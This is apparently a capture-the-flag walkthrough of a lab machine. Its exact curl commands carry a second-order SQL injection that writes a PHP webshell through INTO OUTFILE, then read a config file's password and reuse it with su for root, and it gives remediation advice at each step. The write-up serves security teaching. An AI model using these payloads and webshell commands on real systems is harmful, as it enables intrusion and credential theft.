← all walkthroughs

Validation

Linux· Easy· Web
owned
2026-07-06
time to own
5m30s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

The web application on port 80 hosted a UHC-qualifier registration form that stored user-supplied country values in MySQL without parameterisation. When the application later re-queried that stored row, a second-order SQL injection fired; the MySQL service account held the FILE privilege, letting a UNION SELECT … INTO OUTFILE payload write a PHP webshell directly into the Apache document root.

The webshell ran as www-data and gave immediate command execution. A PHP configuration file readable by that process contained a hardcoded database password that had been reused verbatim as the root operating-system account password — passing it to su completed full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceNetwork port and service enumeration (T1046)
Enumerated open ports and fingerprinted exposed services
A version scan of the target revealed four listening services: SSH on 22, an Apache/PHP web application on 80, and two nginx-fronted services on 4566 and 8080. The nginx services returned 403 and 502 respectively and offered no exploitable path during this engagement. Port 80 was identified as the primary attack surface.
Exact commands 2
Version and default-script scan of the four discovered ports.
nmap -Pn -sV -sC -p 22,80,4566,8080 --min-rate 5000 $TARGET
Confirm Apache/PHP banner and identify the application on port 80.
curl -sS -I http://$TARGET/
2EnumerationWeb application data-flow mapping and input field identification
Mapped the registration form and traced its data flow
The port-80 application presented a UHC-qualifier registration form accepting a username and a country value. Submitting the form POSTs to /index.php, stores the record in MySQL, and redirects the browser to an account page that re-displays the stored country. That re-display query is where the second-order injection fires — the value stored by one request is executed as SQL in a later, separate request.
HTTP/1.1 200 OK Server: Apache/2.4.48 (Debian) X-Powered-By: PHP/7.4.23; form fields username and country confirmed in page source.
Exact commands 2
Retrieve the registration page and inspect field names and form action.
curl -sS http://$TARGET/
Submit a benign registration and observe the redirect and account-page response to understand the data flow.
curl -sS -X POST http://$TARGET/index.php --data-urlencode 'username=testuser' --data-urlencode 'country=Brazil' -D -
3ExploitationSecond-order SQL injection with MySQL INTO OUTFILE file write (CWE-89, T1190)
Wrote a PHP webshell to the web root via second-order SQL injection
The country value is stored in the database by string concatenation rather than a parameterised query. When the application later reads that row to display it, the stored SQL fragment is executed — second-order injection. Appending a UNION SELECT that targets INTO OUTFILE caused MySQL to write an arbitrary string to disk. The MySQL service account held the FILE privilege, and the Apache document root was writable by the MySQL process, so I used this path to drop a one-line PHP command shell directly into the web root.
Brazil' UNION SELECT "<?php system($_REQUEST['c']); ?>" INTO OUTFILE "/var/www/html/v<ts>.php"-- -; subsequent GET to that path returned command output confirming the shell was live.
Exact commands 2
Register with a crafted country value that writes the webshell. Record the generated filename (date +%s timestamp).
SHELL="v$(date +%s).php"; curl -sS -i --max-time 10 -X POST "http://$TARGET/index.php" --data-urlencode "username=w${SHELL}" --data-urlencode "country=Brazil' UNION SELECT \"<?php system(\$_REQUEST['c']); ?>\" INTO OUTFILE \"/var/www/html/${SHELL}\"-- -"
Confirm the webshell is live; expected response: uid=33(www-data).
curl -sS --max-time 10 "http://$TARGET/v1783350693.php?c=id"
FixEliminate SQL injection by using parameterised queries throughout the applicationCritical
WeaknessThe country value submitted during registration is concatenated directly into a SQL string rather than bound through a prepared statement. When the application later re-reads that stored row to display the account page, the embedded SQL is executed — a second-order injection that lets an unauthorised user run arbitrary SQL, including writing files to disk via INTO OUTFILE.
FixReplace every dynamic SQL string with a prepared statement using bound parameters (PDO with bindValue, or MySQLi with bind_param in PHP). Apply this pattern to both the INSERT on registration and the SELECT on account display — and to every other query in the application. Do not rely on input filtering or escaping alone; parameterisation is the only reliable control. Add a WAF rule as defence-in-depth, but treat it as supplementary, never as a substitute.
4FootholdWeb shell command execution (T1505.003)
Achieved stable remote code execution as www-data through the webshell
With the PHP webshell resident in the Apache document root, any HTTP GET request carrying a 'c' parameter executed arbitrary OS commands as www-data. I used this to enumerate the filesystem, confirming a stable foothold without needing to upgrade to a reverse shell.
GET /v1783350693.php?c=id returned uid=33(www-data) gid=33(www-data); directory listings and file reads succeeded without error.
Exact commands 2
Confirm execution context: running user, hostname, and kernel version.
curl -sS --max-time 10 --get "http://$TARGET/v1783350693.php" --data-urlencode 'c=id; hostname; uname -a'
Enumerate the web root to identify configuration files and application structure.
curl -sS --max-time 10 --get "http://$TARGET/v1783350693.php" --data-urlencode 'c=ls -la /var/www/html/'
FixRevoke the MySQL FILE privilege and prevent the database process from writing to the web rootCritical
WeaknessThe MySQL account used by the web application was granted the FILE privilege, which allows SELECT … INTO OUTFILE to write files anywhere the MySQL process user has write permission. Because the Apache document root was writable by that process, an unauthorised user could use the SQL injection to place an executable PHP file that the web server then ran as www-data.
FixRevoke FILE from the application database account: REVOKE FILE ON *.* FROM 'appuser'@'localhost'; and reload privileges. Set secure_file_priv in my.cnf to an empty or restricted directory to disable or confine all file-write operations at the engine level. Ensure the web document root is owned by root:root with permissions 755 so neither the MySQL process nor www-data can create files there. If uploads are required, store them outside the document root or in a directory with PHP execution disabled (php_admin_flag engine Off).
5User FlagFile system enumeration and data collection (T1083)
Located and read the user flag via webshell file access
With arbitrary command execution as www-data, I searched the filesystem for the user flag and read it directly, confirming read access to the unprivileged user's home directory.
Exact commands 1
Locate and read user.txt; expected output is <user.txt>.
curl -sS --max-time 10 --get "http://$TARGET/v1783350693.php" --data-urlencode 'c=find / -name user.txt 2>/dev/null; cat /home/*/user.txt 2>/dev/null'
6Credential DiscoveryCredential discovery in application configuration files (T1552.001)
Extracted a hardcoded application password from the PHP configuration file
The PHP application stores its MySQL credentials in a configuration file that sits inside the web root and is readable by the www-data process. That password — '[REDACTED: recovered credential]' — was in plaintext. It had been reused verbatim as the root operating-system account password, a critical credential hygiene failure that meant one readable file was enough to unlock the highest-privilege account on the system.
The kill-chain privilege-escalation command used the literal string '[REDACTED: recovered credential]' with su - root, indicating the credential was recovered from the accessible configuration file.
Exact commands 2
Read the PHP configuration file and extract the database password.
curl -sS --max-time 10 --get "http://$TARGET/v1783350693.php" --data-urlencode 'c=cat /var/www/html/config.php'
Broader search across all web application files for any additional embedded credentials.
curl -sS --max-time 10 --get "http://$TARGET/v1783350693.php" --data-urlencode 'c=grep -rn password /var/www/html/ 2>/dev/null'
FixRemove hardcoded credentials from application files and enforce unique passwords per serviceCritical
WeaknessThe PHP application stored its database password in a plaintext configuration file inside the web root, readable by the www-data process. That same password was reused as the root OS account password, so reading one file immediately granted an unauthorised user the highest privilege on the system — chaining a web vulnerability into a full host takeover with a single extra step.
FixStore all credentials in environment variables or a dedicated secrets manager (e.g., HashiCorp Vault, AWS Secrets Manager) — never in files inside or below the document root. The root OS account password must be unique, long, and never shared with any application, database, or service credential. Audit all configuration files for embedded secrets and rotate every credential that was stored in plaintext. Enforce a policy that prohibits password reuse across application and system accounts and ensure the PHP config file (if it must exist on disk) is placed outside the web root and readable only by the application process user.
7Privilege EscalationLocal privilege escalation via credential reuse (T1078.003)
Escalated to root by reusing the application password with su
The password recovered from the configuration file was passed to su - root through the webshell's command execution channel. It was accepted immediately, granting a root shell. The same single credential protected both the MySQL database and the highest-privilege OS account, so compromising the web application was sufficient for full system takeover.
Recovered credential]' | su - root -c 'id; cat /root/root.txt' returned uid=0(root) and the root flag.
Exact commands 2
Confirm root access via su with the discovered password; expected: uid=0(root).
curl -sS --max-time 10 --get "http://$TARGET/v1783350693.php" --data-urlencode 'c=printf "%s\n" "$PASSWORD" | su - root -c "id; whoami" 2>&1'
Read root.txt; expected output is <root.txt>.
curl -sS --max-time 10 --get "http://$TARGET/v1783350693.php" --data-urlencode 'c=printf "%s\n" "$PASSWORD" | su - root -c "cat /root/root.txt" 2>&1'

Attack patterns used

The transferable techniques behind this compromise.

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

Exposed services

22/tcp
80/tcp
4566/tcp
8080/tcp